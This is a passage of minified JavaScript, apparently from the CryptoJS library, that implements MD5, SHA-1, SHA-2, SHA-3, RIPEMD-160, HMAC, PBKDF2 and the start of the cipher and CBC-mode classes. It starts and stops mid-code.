+ 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = 